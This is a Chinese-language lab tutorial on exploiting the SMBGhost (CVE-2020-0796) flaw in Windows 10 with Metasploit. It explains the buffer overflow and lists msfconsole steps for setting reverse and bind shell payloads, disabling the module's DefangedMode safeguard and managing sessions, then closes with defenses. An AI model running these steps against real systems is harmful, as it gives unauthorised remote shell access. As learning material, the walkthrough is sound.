CVE-2020-0796:永恒之黑实战学习
1.背景:
- 漏洞名称:CVE-2020-0796,又称“SMBGhost”或“永恒之黑”。
- 影响范围:Windows 10(1903/1909版本)及Windows Server 2019/2016(部分版本)。
- 协议相关:SMBv3.1.1协议(Server Message Block,用于文件/打印机共享)。
- 触发条件:SMBv3服务启用(默认开启);攻击者需与目标建立SMB连接(通常通过445端口)。
- 实战背景:使用kali2024.02的metasploit攻击靶机win10 1903版本,靶机已开启smb并关闭防火墙,kali和靶机处于同一个局域网,网络互通
2.原理
- 概要:解压过程中未正确验证数据包长度,导致缓冲区溢出
- 细节:伪造OriginalSize:将OriginalSize字段设置为一个较小的值(如0),诱使系统分配较小的缓冲区。构造压缩数据:压缩后的数据被精心设计,使其解压后的大小远大于OriginalSize。触发溢出:解压过程将大量数据写入缓冲区,导致缓冲区溢出。通过构造恶意数据包覆盖相邻内存,可能实现内核级代码执行(因SMB驱动运行在内核模式)。
注意:
- OriginalSize:原始数据大小。
- CompressedSize:压缩后数据大小。
3.实战
3.1 运行metasploit
msfdb run
3.2 查找永恒之黑模块并加载模块
search cve:CVE-2020-0796
use 3
3.3 查看模块详情
options
注:
- 发现攻击载荷payload需要切换至我们熟悉的shell
- 需要指定攻击目标IP地址:RHOSTS
3.4 查找合适的payload并切换,然后指定目标ip地址(渗透后反向连接reverse_tcp)
search type:payload path:shell name:windows x64
set payload payload/windows/x64/shell/reverse_tcp
set rhosts 192.168.1.178
options
3.5 改控制模式为温和
set DefangedMode false
注意:
- DefangedMode的默认值为true,温和,这是一种安全措施,防止用户意外对目标系统造成损害。
- CVE-2020-0796的漏洞利用模块(exploit/windows/smb/cve_2020_0796_smbghost)需要发送特制的恶意数据包来触发缓冲区溢出,进而执行Payload。如果DefangedMode为true,模块不会发送这些数据包,导致漏洞利用失败。如:
3.6 开始攻击(方式一)
run # 直接执行
注意:
- 到此已经渗透成功
- ctrl+c退出
- 有可能会乱码,可以执行 chcp 65001 如:
3.7 开始攻击(方式二)
run -j
#执行成功后查看方式
sessions
session -i 2
3.8 退出且会话继续挂后台
background
3.9 删除会话
sessions -k 2
sessions -K # 删除所有会话(大写K)
3.10 尝试渗透后正向连接(bind_tcp)
search type:payload name:window x64 path:shell path:bind_tcp
set payload payload/windows/x64/shell/bind_tcp
set rhosts 192.168.1.178
options
run
注意:
- 跟反向连接攻击方式一致,只剩正向连接是渗透后攻击机向目标机发起连接,而反向连接是渗透后由目标机向攻击机发起连接
- 连接目标的端口需要目标机的防火墙开放,如图中的LPORT 4444
4.防御技术原理
- 关闭SMBv3服务:禁用SMBv3服务,可以阻止攻击者利用永恒之黑漏洞进行攻击。
- 关闭445端口或者用防火墙拦截445端口的所有请求,防止攻击者利用445端口进行攻击。
- 下载补丁修复漏洞:安装Windows补丁KB4551762,修复永恒之黑漏洞。